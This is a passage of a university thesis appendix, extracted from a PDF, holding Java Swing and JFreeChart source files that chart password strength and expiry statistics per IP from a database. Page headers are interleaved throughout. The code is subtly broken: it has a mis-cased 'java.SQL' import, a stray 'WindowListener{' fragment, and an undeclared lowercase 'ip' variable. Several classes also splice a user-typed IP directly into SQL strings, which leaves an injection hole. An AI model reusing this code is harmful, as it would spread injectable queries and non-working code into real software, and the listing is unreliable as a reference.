.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING, false) .add(org.jdesktop.layout.GroupLayout.LEADING, b_todas_vig_ip1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_vig_ip1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_vig_ip, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_todas_vig_ip))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING,

Page 319: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

304

layout.createSequentialGroup() .addContainerGap(55, Short.MAX_VALUE) .add(jLabel1) .add(53, 53, 53)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .add(16, 16, 16) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel2) .add(jLabel3)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jLabel6) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_vig_ip) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_todas_vig_ip) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 94, Short.MAX_VALUE) .add(jLabel8) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_vig_ip1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_todas_vig_ip1)) .add(layout.createSequentialGroup() .add(62, 62, 62) .add(b_todas_ip)) .add(layout.createSequentialGroup() .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 263, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(layout.createSequentialGroup() .add(b_ip) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 134, Short.MAX_VALUE) .add(jLabel7) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_ip1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_todas_ip1)))))

Page 320: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

305

.add(25, 25, 25)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-532)/2, (screenSize.height-409)/2, 532, 409); }// </editor-fold> private void b_ip1ActionPerformed(java.awt.event.ActionEvent evt) { System.gc(); consulta_2 = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); pip = new crea_3d(consulta_2); pip.pack(); RefineryUtilities.centerFrameOnScreen(pip); pip.setVisible(true); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new estadistica().setVisible(true); } }); } static String consulta_1 =""; static String consulta_2 =""; static String consulta_3 =""; static String consulta_4 =""; crea_3d pip; crea_3d_todos pep; crea_3d_vig_ip pop; crea_3d_vig_ip_todos pap; bar_3d_ip rick; bar_3d_ip_todos rack; bar_3d_vig_ip rock; bar_3d_vig_ip_todos pup; private javax.swing.JButton b_ip; private javax.swing.JButton b_ip1; private javax.swing.JButton b_todas_ip; private javax.swing.JButton b_todas_ip1; private javax.swing.JButton b_todas_vig_ip; private javax.swing.JButton b_todas_vig_ip1; private javax.swing.JButton b_vig_ip; private javax.swing.JButton b_vig_ip1; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JLabel jLabel8; }

Page 321: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

306

Crea_3d.java

import java.awt.event.*; import java.util.EventObject; import javax.swing.*; import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; WindowListener{ public class crea_3d extends ApplicationFrame implements WindowListener{ public crea_3d(String ip_consulta) { super("ESTADISTICAS DE SEGURIDAD POR IP"); IP = ip_consulta; PieDataset dataset = createSampleDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ System.out.flush(); long time = System.nanoTime(); long time_estimado = System.nanoTime() - time; System.out.println( "Tiempo estamado--> " + String.valueOf(time)); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto'

Page 322: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

307

and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (Exception e){ System.out.println("HA HABIDO UN ERROR ......"+e); } DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % BAJOS",y_bajo); result.setValue(String.valueOf(y_medio)+" % MEDIOS", y_medio); result.setValue(String.valueOf(y_alto)+" % ALTOS", y_alto); return result; } private JFreeChart createChart(PieDataset dataset) { JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE SEGURIDAD POR IP", // chart title dataset, // data true, // include legend true, false ); PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; }

Page 323: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

308

public void windowIconified(WindowEvent windowevent) { } public void windowDeiconified(WindowEvent windowevent) { } public void windowActivated(WindowEvent windowevent) { } public void windowDeactivated(WindowEvent windowevent) { } public void windowOpened(WindowEvent windowevent) { } public void windowClosed(WindowEvent windowevent) { } public void windowClosing(WindowEvent windowevent) { hide(); dispose(); } static float suma =0; static float bajo =0; static float medio =0; static float alto =0; static String IP =""; static float y_bajo=0; static float y_medio=0; static float y_alto=0; }

Crea_3d_todos.java

import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; public class crea_3d_todos extends ApplicationFrame { public crea_3d_todos() { super("ESTADISTICAS DE SEGURIDAD DE IPS"); final PieDataset dataset = createSampleDataset(); final JFreeChart chart = createChart(dataset); final ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); }

Page 324: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

309

private PieDataset createSampleDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' "; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no as podido......"+e); } final DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % BAJOS",y_bajo); result.setValue(String.valueOf(y_medio)+" % MEDIOS", y_medio); result.setValue(String.valueOf(y_alto)+" % ALTOS", y_alto); return result; } private JFreeChart createChart(final PieDataset dataset) { final JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE SEGURIDAD TODAS LAS IP'S", // chart title dataset, // data

Page 325: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

310

true, // include legend true, false ); final PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; } static float bajo =0; static float medio =0; static float alto =0; static float y_bajo=0; static float y_medio=0; static float y_alto=0; }

Crea_3d_vig_ip.java

import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; public class crea_3d_vig_ip extends ApplicationFrame { public crea_3d_vig_ip(String ip_final) { super("ESTADISTICAS DE VIGENCIA DE LOS PASSWORDS POR IP"); IP = ip_final; final PieDataset dataset = createSampleDataset(); final JFreeChart chart = createChart(dataset); final ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement();

Page 326: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

311

Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente' and direccion = '"+ip+"'"; String SQL_2 = "select count(estado) from reporte where estado = 'expirado' and direccion = '"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } final DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % VIGENTES",y_bajo); result.setValue(String.valueOf(y_medio)+" % EXPIRADOS", y_medio); return result; } private JFreeChart createChart(final PieDataset dataset) { final JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE VIGENCIA DE LOS PASSWORDS POR IP", // chart title dataset, // data true, // include legend true, false ); final PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; } public static void main(final String[] args) { final crea_3d_vig_ip demo = new crea_3d_vig_ip(ip); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo);

Page 327: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

312

demo.setVisible(true); } static float bajo =0; static float medio =0; static String IP =""; static float y_bajo=0; static float y_medio=0; }

Crea_3d_vig_ip_todos.java

import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; public class crea_3d_vig_ip_todos extends ApplicationFrame { public crea_3d_vig_ip_todos() { super("Estadisticas de vigencia de los passwords toda la red"); final PieDataset dataset = createSampleDataset(); final JFreeChart chart = createChart(dataset); final ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente'"; String SQL_2 = "select count(estado) from reporte where estado = 'expirado'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next())

Page 328: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

313

{ bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } final DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % VIGENTES",y_bajo); result.setValue(String.valueOf(y_medio)+" % EXPIRADOS", y_medio); return result; } private JFreeChart createChart(final PieDataset dataset) { final JFreeChart chart = ChartFactory.createPieChart3D( "Estadistica de vigencia de los passwords todas las ip's", // chart title dataset, // data true, // include legend true, false ); final PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; } public static void main(final String[] args) { final crea_3d_vig_ip_todos demo = new crea_3d_vig_ip_todos(); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float y_bajo=0; static float y_medio=0; }

Page 329: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

314

Bar_3d_ip.java

import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions; import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset; import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_ip extends ApplicationFrame { public bar_3d_ip(String ip_final) { super("ESTADISTICAS DE SEGURIDAD DE PASSWRODS POR IP"); IP = ip_final; CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1);

Page 330: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

315

ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % BAJOS","bajos"); result.setValue(y_medio, String.valueOf(y_medio)+" % MEDIOS","medios"); result.setValue(y_alto, String.valueOf(y_alto)+" % ALTOS","altos"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de estadisticas de seguridad por IP", // chart title "IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white);

Page 331: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

316

final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; } public static void main(String[] args) { bar_3d_ip demo = new bar_3d_ip(ip); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float alto =0; static float y_bajo=0; static float y_medio=0; static float y_alto=0; static String IP = ""; }

Bar_3d_ip_todos.java

import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions;

Page 332: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

317

import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset; import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_ip_todos extends ApplicationFrame { public bar_3d_ip_todos() { super("ESTADISTICAS DE SEGURIDAD DE PASSWORDS TODA LA RED"); CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' "; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' "; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma);

Page 333: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

318

connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % BAJOS","bajos"); result.setValue(y_medio, String.valueOf(y_medio)+" % MEDIOS","medios"); result.setValue(y_alto, String.valueOf(y_alto)+" % ALTOS","altos"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de estadisticas de seguridad todas las IP's de la red", // chart title "IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0));

Page 334: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

319

return chart; } public static void main(String[] args) { bar_3d_ip_todos demo = new bar_3d_ip_todos(); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float alto =0; static float y_bajo=0; static float y_medio=0; static float y_alto=0; }

Bar_3d_vig_ip.java

import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions; import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset; import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_vig_ip extends ApplicationFrame { public bar_3d_vig_ip(String ip_final) { super("ESTADISTICAS DE VIGENCIA DE PASSWORDS POR IP"); IP = ip_final; CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); }

Page 335: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

320

private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente' and direccion = '"+ip+"'"; String SQL_2 = "select count(estado) from reporte where estado = 'expirado' and direccion = '"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % vigentes","vigentes"); result.setValue(y_medio, String.valueOf(y_medio)+" % expirados","expirados"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de vigencia de los passwords por IP", // chart title "IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white);

Page 336: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

321

